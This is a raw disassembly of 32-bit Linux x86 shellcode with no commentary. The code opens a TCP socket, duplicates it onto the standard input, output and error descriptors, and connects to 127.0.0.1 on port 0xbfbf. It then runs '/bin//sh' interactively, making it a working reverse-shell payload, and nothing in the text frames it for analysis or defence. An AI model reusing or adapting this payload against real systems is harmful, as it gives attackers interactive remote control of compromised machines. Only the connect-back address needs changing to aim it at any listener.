00000000 31DB xor ebx,ebx 00000002 53 push ebx 00000003 6A02 push byte +0x2 00000005 6A02 push byte +0x2 00000007 43 inc ebx 00000008 6A66 push byte +0x66 0000000A 58 pop eax 0000000B 89E1 mov ecx,esp 0000000D CD80 int 0x80 0000000F 93 xchg eax,ebx 00000010 59 pop ecx 00000011 B03F mov al,0x3f 00000013 CD80 int 0x80 00000015 49 dec ecx 00000016 79F9 jns 0x11 00000018 5B pop ebx 00000019 5A pop edx 0000001A 687F000001 push dword 0x100007f 0000001F 6668BFBF push word 0xbfbf 00000023 6653 push bx 00000025 89E1 mov ecx,esp 00000027 6A10 push byte +0x10 00000029 51 push ecx 0000002A 53 push ebx 0000002B 89E1 mov ecx,esp 0000002D 43 inc ebx 0000002E B066 mov al,0x66 00000030 CD80 int 0x80 00000032 6A0B push byte +0xb 00000034 58 pop eax 00000035 52 push edx 00000036 66682D69 push word 0x692d 0000003A 89E1 mov ecx,esp 0000003C 6A67 push byte +0x67 0000003E 6668696E push word 0x6e69 00000042 6865646974 push dword 0x74696465 00000047 682D2D6E6F push dword 0x6f6e2d2d 0000004C 89E7 mov edi,esp 0000004E 52 push edx 0000004F 682F2F7368 push dword 0x68732f2f 00000054 682F62696E push dword 0x6e69622f 00000059 89E3 mov ebx,esp 0000005B 52 push edx 0000005C 51 push ecx 0000005D 57 push edi 0000005E 53 push ebx 0000005F 89E1 mov ecx,esp 00000061 CD80 int 0x80